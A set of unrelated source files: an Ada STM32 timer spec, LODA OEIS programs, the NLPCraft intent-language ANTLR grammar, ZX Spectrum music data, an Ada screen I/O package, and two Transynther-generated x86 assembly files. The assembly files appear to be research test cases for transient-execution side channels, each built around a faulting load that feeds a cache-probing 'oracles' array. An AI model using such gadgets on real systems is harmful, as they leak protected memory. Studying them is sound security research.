with STM32_SVD.TIM;
with STM32_SVD; use STM32_SVD;
package STM32GD.Timer is
type Timer_Callback_Type is access procedure;
type Timer_Type is (
Timer_1, Timer2, Timer_3, Timer_6, Timer_7, Timer_8,
Timer_15, Timer_16, Timer_17, Timer_20);
end STM32GD.Timer;
|
oeis/133/A133524.asm | neoneye/loda-programs | 11 | 91068 | <gh_stars>10-100
; A133524: Sum of squares of four consecutive primes.
; Submitted by <NAME>
; 87,204,364,628,940,1348,2020,2692,3700,4852,5860,7108,8548,10348,12220,14500,16732,18580,21100,23500,26380,30460,34420,38140,41668,44140,46708,52228,57940,64828,71380,77452,83092,88972,96220,101908,109036,116428,122620,131212,138532,145300,152140,160180,172660,185380,198220,207988,215380,221932,232492,244252,256300,270580,281020,291700,301492,309220,321628,339148,356908,374788,389428,404740,421588,444028,465340,480388,495700,509980,527308,546340,564148,580780,599260,616420,637012,661252,680884
mov $2,$0
add $2,1
mov $4,4
lpb $4
mov $0,$2
sub $4,1
add $0,$4
trn $0,1
seq $0,138692 ; Numbers of the form 86+p^2 (where p is a prime).
add $3,1
add $3,$0
lpe
mov $0,$3
sub $0,348
|
nlpcraft/src/main/scala/org/apache/nlpcraft/model/intent/compiler/antlr4/NCIdl.g4 | rahul3/incubator-nlpcraft | 0 | 6996 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
grammar NCIdl;
// Parser.
idl: idlDecls EOF; // Intent enty point.
synonym: alias? LBRACE vars? expr RBRACE EOF; // Synonym entry point.
alias: LBR id RBR;
idlDecls
: idlDecl
| idlDecls idlDecl
;
idlDecl
: intent // Intent declaration.
| frag // Fragment declaration.
| imp // External URL containing IDL declarations (recursive parsing).
;
imp: 'import' LPAR qstring RPAR;
frag: fragId termDecls;
fragId: FRAG ASSIGN id;
fragRef: FRAG LPAR id fragMeta? RPAR;
fragMeta: COMMA jsonObj;
intent: intentId optDecl? flowDecl? metaDecl? termDecls;
intentId: 'intent' ASSIGN id;
mtdDecl: DIV mtdRef DIV;
flowDecl: 'flow' ASSIGN (qstring | mtdDecl);
metaDecl: 'meta' ASSIGN jsonObj;
optDecl: 'options' ASSIGN jsonObj;
jsonObj
: LBRACE jsonPair (COMMA jsonPair)* RBRACE
| LBRACE RBRACE
;
jsonPair: qstring COLON jsonVal;
jsonVal
: qstring
| MINUS? INT REAL? EXP?
| jsonObj
| jsonArr
| BOOL
| NULL
;
jsonArr
: LBR jsonVal (COMMA jsonVal)* RBR
| LBR RBR
;
termDecls
: termDecl
| termDecls termDecl;
termDecl
: term
| fragRef
;
termEq
: ASSIGN // Do not use conversation.
| TILDA // Use conversation.
;
term: 'term' termId? termEq ((LBRACE vars? expr RBRACE) | mtdDecl) minMax?;
mtdRef: javaFqn? POUND id;
javaFqn
: javaClass
| javaFqn DOT javaClass
;
javaClass
: id
// We need to include keywords to make sure they don't conflict.
| IMPORT
| INTENT
| OPTIONS
| FLOW
| META
| TERM
| FRAG
;
termId: LPAR id RPAR;
expr
// NOTE: order of productions defines precedence.
: op=(MINUS | NOT) expr # unaryExpr
| LPAR expr RPAR # parExpr
| expr op=(MULT | DIV | MOD) expr # multDivModExpr
| expr op=(PLUS | MINUS) expr # plusMinusExpr
| expr op=(LTEQ | GTEQ | LT | GT) expr # compExpr
| expr op=(EQ | NEQ) expr # eqNeqExpr
| expr op=(AND | OR) expr # andOrExpr
| atom # atomExpr
| FUN_NAME LPAR paramList? RPAR # callExpr
| AT id # varRef
;
vars
: varDecl
| vars varDecl
;
varDecl: AT id ASSIGN expr;
paramList
: expr
| paramList COMMA expr
;
atom
: NULL
| INT REAL? EXP?
| BOOL
| qstring
;
qstring
: SQSTRING
| DQSTRING
;
minMax
: minMaxShortcut
| minMaxRange
;
minMaxShortcut
: PLUS
| QUESTION
| MULT
;
minMaxRange: LBR INT COMMA INT RBR;
id
: ID
| FUN_NAME // Function name can overlap with ID so we detect both.
;
// Lexer.
FUN_NAME
: 'meta_tok'
| 'meta_part'
| 'meta_model'
| 'meta_intent'
| 'meta_req'
| 'meta_user'
| 'meta_company'
| 'meta_sys'
| 'meta_conv'
| 'meta_frag'
| 'json'
| 'if'
| 'tok_id'
| 'tok_lemma'
| 'tok_stem'
| 'tok_pos'
| 'tok_sparsity'
| 'tok_unid'
| 'tok_is_abstract'
| 'tok_is_bracketed'
| 'tok_is_direct'
| 'tok_is_permutated'
| 'tok_is_english'
| 'tok_is_freeword'
| 'tok_is_quoted'
| 'tok_is_stopword'
| 'tok_is_swear'
| 'tok_is_user'
| 'tok_is_wordnet'
| 'tok_index'
| 'tok_is_first'
| 'tok_is_last'
| 'tok_is_before_id'
| 'tok_is_before_group'
| 'tok_is_before_parent'
| 'tok_is_after_id'
| 'tok_is_after_group'
| 'tok_is_after_parent'
| 'tok_ancestors'
| 'tok_parent'
| 'tok_groups'
| 'tok_value'
| 'tok_aliases'
| 'tok_start_idx'
| 'tok_end_idx'
| 'tok_this'
| 'tok_find_part'
| 'tok_has_part'
| 'tok_find_parts'
| 'tok_count'
| 'tok_all'
| 'tok_all_for_id'
| 'tok_all_for_parent'
| 'tok_all_for_group'
| 'req_id'
| 'req_normtext'
| 'req_tstamp'
| 'req_addr'
| 'req_agent'
| 'user_id'
| 'user_fname'
| 'user_lname'
| 'user_email'
| 'user_admin'
| 'user_signup_tstamp'
| 'comp_id'
| 'comp_name'
| 'comp_website'
| 'comp_country'
| 'comp_region'
| 'comp_city'
| 'comp_addr'
| 'comp_postcode'
| 'trim'
| 'strip'
| 'uppercase'
| 'lowercase'
| 'is_alpha'
| 'is_alphanum'
| 'is_whitespace'
| 'is_num'
| 'is_numspace'
| 'is_alphaspace'
| 'is_alphanumspace'
| 'split'
| 'split_trim'
| 'starts_with'
| 'ends_with'
| 'index_of'
| 'contains'
| 'substr'
| 'replace'
| 'abs'
| 'ceil'
| 'floor'
| 'rint'
| 'round'
| 'signum'
| 'sqrt'
| 'cbrt'
| 'pi'
| 'to_double'
| 'to_int'
| 'euler'
| 'acos'
| 'asin'
| 'atan'
| 'cos'
| 'sin'
| 'tan'
| 'cosh'
| 'sinh'
| 'tanh'
| 'atan2'
| 'degrees'
| 'radians'
| 'exp'
| 'expm1'
| 'hypot'
| 'log'
| 'log10'
| 'log1p'
| 'pow'
| 'rand'
| 'square'
| 'list'
| 'get'
| 'has'
| 'has_any'
| 'has_all'
| 'first'
| 'last'
| 'keys'
| 'values'
| 'length'
| 'count'
| 'size'
| 'sort'
| 'reverse'
| 'is_empty'
| 'non_empty'
| 'distinct'
| 'concat'
| 'to_string'
| 'max'
| 'min'
| 'avg'
| 'stdev'
| 'year'
| 'month'
| 'day_of_month'
| 'day_of_week'
| 'day_of_year'
| 'hour'
| 'minute'
| 'second'
| 'week_of_month'
| 'week_of_year'
| 'quarter'
| 'now'
| 'or_else'
;
IMPORT : 'import' ;
INTENT : 'intent' ;
OPTIONS : 'options' ;
FLOW : 'flow' ;
META : 'meta' ;
TERM : 'term' ;
FRAG: 'fragment'; // To resolve ambiguity with ANTLR4 keyword.
SQSTRING: SQUOTE ((~'\'') | ('\\''\''))* SQUOTE; // Allow for \' (escaped single quote) in the string.
DQSTRING: DQUOTE ((~'"') | ('\\''"'))* DQUOTE; // Allow for \" (escape double quote) in the string.
BOOL: 'true' | 'false';
NULL: 'null';
EQ: '==';
NEQ: '!=';
GTEQ: '>=';
LTEQ: '<=';
GT: '>';
LT: '<';
AND: '&&';
OR: '||';
VERT: '|';
NOT: '!';
LPAR: '(';
RPAR: ')';
LBRACE: '{';
RBRACE: '}';
SQUOTE: '\'';
DQUOTE: '"';
TILDA: '~';
LBR: '[';
RBR: ']';
POUND: '#';
COMMA: ',';
COLON: ':';
MINUS: '-';
DOT: '.';
UNDERSCORE: '_';
ASSIGN: '=';
PLUS: '+';
QUESTION: '?';
MULT: '*';
DIV: '/';
MOD: '%';
AT: '@';
DOLLAR: '$';
INT: '0' | [1-9] [_0-9]*;
REAL: DOT [0-9]+;
EXP: [Ee] [+\-]? INT;
fragment UNI_CHAR // International chars.
: ~[\u0000-\u007F\uD800-\uDBFF] // Covers all characters above 0x7F which are not a surrogate.
| [\uD800-\uDBFF] [\uDC00-\uDFFF] // Covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF.
;
fragment LETTER: [a-zA-Z];
ID: (UNI_CHAR|UNDERSCORE|LETTER|DOLLAR)+(UNI_CHAR|DOLLAR|LETTER|[0-9]|COLON|MINUS|UNDERSCORE)*;
COMMENT : ('//' ~[\r\n]* '\r'? ('\n'| EOF) | '/*' .*? '*/' ) -> skip;
WS: [ \r\t\u000C\n]+ -> skip;
ErrorChar: .;
|
stringks/music.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 59 | 165928 | <gh_stars>10-100
; vim: filetype=z80:
include "notes.inc"
; sequence
sequence_loop
dw pattern1
dw pattern1a
dw pattern2
dw pattern2
dw pattern1
dw pattern1a
dw pattern2
dw pattern2
dw pattern0
dw pattern0
dw pattern3
dw 0
dw sequence_loop
pattern3
dw #6000,chB_ks_saw,a1,chA_ks_saw,a1
dw #6000,chB_mute,chA_mute
db #40
pattern1
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_noise,#ff00,c3
dw #0a80,chB_ks_noise,#af00,c1
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,c3
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_noise,#ff00,g2
dw #0a80,chB_ks_noise,#af00,c1
dw #0c01,chA_ks_noise,#ff00,c2
db #40
pattern1a
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_noise,#ff00,c3
dw #0a80,chB_ks_noise,#af00,c1
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,c3
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_noise,#ff00,g2
dw #0a80,chB_ks_noise,#af00,c1
dw #0280,chB_pwm,pwm_noise,#ff00
dw #0a80,chB_ks_noise,#af00,c2
db #40
pattern2
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_noise,#ff00,c3
dw #0a80,chB_ks_noise,#af00,a1
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,e2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,c3
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,e2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
db #40
pattern0
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_rect,#ff00,a2+((a2/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #1280,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #1280,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #0480,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_rect,#af00,e3+((e3/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_rect,#ff00,dis3+((dis3/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_rect,#af00,b2+((b2/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_rect,#ff00,c3+((c3/2)<<8)
dw #1080,chB_ks_rect,#af00,c2+((c2/16)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/16)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/16)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/16)<<8)
dw #0280,chB_pwm,pwm_noise,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/8)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/8)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/8)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/8)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/4)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/4)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/4)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/4)<<8)
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_rect,#af00,ais2+((ais2/2)<<8)
dw #1080,chB_ks_rect,#af00,c2+((c2/16)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/2)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/2)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/2)<<8)
db #40
pwm_noise
db 2,18,3,4,9,1,22,10,3,4,7,2,21,8,17,10,3,2,8,1,9,3,14,8,7,11,23,4
db 7,1,4,11,6,2,8,13,2,11,7,18,4,9,5,2,3,11,0
pwm_kick
db 8,8,8,8,8,8
db #10,#10,#10,#10,#10,#10
db #20,#20,#20,#20,#20,#20
db #40,#40,#40,#40,#40,#40
db #80,#80,#80,#80
db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff
db 0
|
oeis/061/A061789.asm | neoneye/loda-programs | 11 | 23747 | ; A061789: a(n) = Sum_{k=1..n} prime(k)^prime(k).
; Submitted by <NAME>
; 4,31,3156,826699,285312497310,303160419089563,827240565046755853740,1979246896225360344977719,20880469979094808259715377888286,2567686153182091604540923022990731504371755,17071741816876418050215183952082305487549106186,10555134955794855155895206504046048130079478388857748548703,1330877641187846954508254396858552760031937460241129383182886502344,17345104244671455366858289543208890711068094476472333082460950085497851,3877924280809552867338103553012620298107235612412300394114658710347446470560714
lpb $0
mov $2,$0
sub $0,1
seq $2,51674 ; a(n) = prime(n)^prime(n).
add $1,$2
lpe
mov $0,$1
add $0,4
|
oeis/098/A098254.asm | neoneye/loda-programs | 11 | 90253 | ; A098254: Chebyshev polynomials S(n,443).
; Submitted by <NAME>(s2)
; 1,443,196248,86937421,38513081255,17061208058544,7558076656853737,3348210897778146947,1483249869639062243784,657076344039206795849365,291083337159498971499024911,128949261285314005167272186208,57124231666056944790130079465233,25305905678801941228022457930912011,11210459091477593907069158733314555640,4966208071618895298890409296400417236509,2200018965268079139814544249146651521217847,974603435405687440042544211962670223482269712,431747121865754267859707271355213762351124264569
add $0,1
mul $0,2
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,21
lpe
mov $0,$1
div $0,21
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1451.asm | ljhsiun2/medusa | 9 | 19572 | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %r9
push %rax
push %rbp
push %rdi
// Store
lea addresses_D+0x8058, %r8
and %rdi, %rdi
movb $0x51, (%r8)
nop
xor %r10, %r10
// Store
lea addresses_US+0x10e0c, %r9
nop
sub $55436, %r8
mov $0x5152535455565758, %r10
movq %r10, %xmm1
movups %xmm1, (%r9)
nop
nop
nop
sub $2097, %r10
// Load
lea addresses_RW+0xa30c, %r9
and $36277, %rdi
mov (%r9), %r10w
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r13
nop
nop
nop
sub $38227, %r8
// Store
lea addresses_WT+0xc5fc, %r13
clflush (%r13)
nop
nop
nop
inc %rbp
movl $0x51525354, (%r13)
xor %r10, %r10
// Faulty Load
lea addresses_US+0x10e0c, %r10
clflush (%r10)
nop
nop
nop
dec %r13
movups (%r10), %xmm4
vpextrq $1, %xmm4, %rax
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rdi
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
demos/screenio.ada | daveshields/AdaEd | 3 | 1741 |
----------------------------------------------------------------------
--
-- Screen Input Output Package
--
-- written by
--
-- <NAME>
-- <NAME>
--
-- Ada Project
-- Courant Institute
-- New York University
-- 251 Mercer Street
-- New York, New York 10012
--
-----------------------------------------------------------------------
with text_io; use text_io;
with semaphore; use semaphore;
package screen_io is
-- These screen input output primitives assume that the terminal can
-- function as a VT100 or, for the IBM PC, has ANSI.SYS installed
-- as a screen driver.
subtype row is integer range 1..25;
subtype column is integer range 1..80;
procedure clear ;
procedure PUTS(s: string; r: row; c: column);
procedure PUTSN(s: string; n: integer; r: row; c: column);
procedure PUTC(ch: character; r: row; c: column);
procedure PUTCB(ch: character; r: row; c: column);
procedure fill_screen(c: character) ;
end screen_io;
with integer_text_io; use integer_text_io;
package body screen_io is
protect: ACCESS_BINARY_SEMAPHORE := new BINARY_SEMAPHORE;
procedure clear is
begin
put(ASCII.ESC ); put("[2J") ;
end ;
procedure PUT_INT(R: integer) is
digs: constant string := "0123456789";
d : integer := R;
begin
if d>=100 then
put(digs(d/100 + 1));
d := d mod 100;
end if;
-- always write at least two digits (if setting screen position).
put(digs(d/10 + 1));
put(digs(d mod 10 + 1));
end;
procedure SET_CURSOR(R: row := 1; C:column := 1) is
-- uses escape sequence ESC [ row ; column H
begin
put(ASCII.ESC);
put('[');
put_int(R);
put( ';');
put_int(C);
put('H');
end SET_CURSOR;
procedure PUTS(S: string; R: row; C: column) is
index: integer;
begin
PROTECT.P;
SET_CURSOR(R, C); put_line(S);
PROTECT.V;
end;
procedure PUTSN(S: string; N: integer; R: row; C: column) is
index: integer;
-- put string and integer values
begin
PROTECT.P;
SET_CURSOR(R, C); put(S);
put_int(N);
put_line(" ");
PROTECT.V;
end;
procedure PUTCB(CH: character ; R: row; C: column) is
-- put "emphasized" character
index: integer;
begin
PROTECT.P;
SET_CURSOR(R, C);
put(ASCII.ESC);
put("[5m"); -- turn on blinking
put(CH);
put(ASCII.ESC);
put_line("[0m"); -- turn off blinking
PROTECT.V;
end;
procedure PUTC(Ch: character; R: row; C: column) is
begin
PROTECT.P;
SET_CURSOR(R, C);
put(Ch);
new_line;
PROTECT.V;
end PUTC;
procedure fill_screen(c: character) is
line : string(1..80) := (1..80 => c) ;
begin
for i in 2..23 loop
SET_CURSOR(i, 1); put_line(line) ;
end loop;
end fill_screen;
end screen_io;
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_115.asm | ljhsiun2/medusa | 9 | 94868 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xe952, %rsi
lea addresses_UC_ht+0x1e452, %rdi
cmp $49424, %r12
mov $59, %rcx
rep movsw
xor $22568, %r9
lea addresses_A_ht+0x39d2, %r15
clflush (%r15)
nop
nop
nop
nop
nop
dec %r12
mov (%r15), %r9d
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x19803, %rdi
nop
and $18322, %r13
mov (%rdi), %r9
nop
cmp %r12, %r12
lea addresses_normal_ht+0x104a1, %rdi
nop
nop
nop
nop
nop
cmp $16919, %r13
movl $0x61626364, (%rdi)
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x1e552, %rcx
nop
nop
nop
dec %rsi
mov (%rcx), %di
nop
xor $22498, %r15
lea addresses_normal_ht+0x3352, %rsi
lea addresses_A_ht+0xb3ae, %rdi
nop
inc %r15
mov $87, %rcx
rep movsq
nop
nop
cmp $30435, %rcx
lea addresses_D_ht+0x1a052, %rsi
lea addresses_WC_ht+0x17552, %rdi
nop
sub $51698, %r12
mov $99, %rcx
rep movsq
nop
nop
add %r13, %r13
lea addresses_WT_ht+0x15112, %rsi
nop
nop
nop
xor %rdi, %rdi
mov (%rsi), %r15d
nop
nop
nop
nop
nop
inc %rcx
lea addresses_normal_ht+0xe52, %r12
nop
nop
xor %rcx, %rcx
vmovups (%r12), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdi
nop
nop
nop
nop
cmp $29048, %rsi
lea addresses_normal_ht+0xa746, %r15
nop
nop
sub $49032, %rdi
mov (%r15), %r12d
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rbx
push %rcx
push %rdi
// Faulty Load
lea addresses_WT+0x2552, %rdi
nop
nop
nop
sub %r10, %r10
movb (%rdi), %bl
lea oracles, %r14
and $0xff, %rbx
shlq $12, %rbx
mov (%r14,%rbx,1), %rbx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
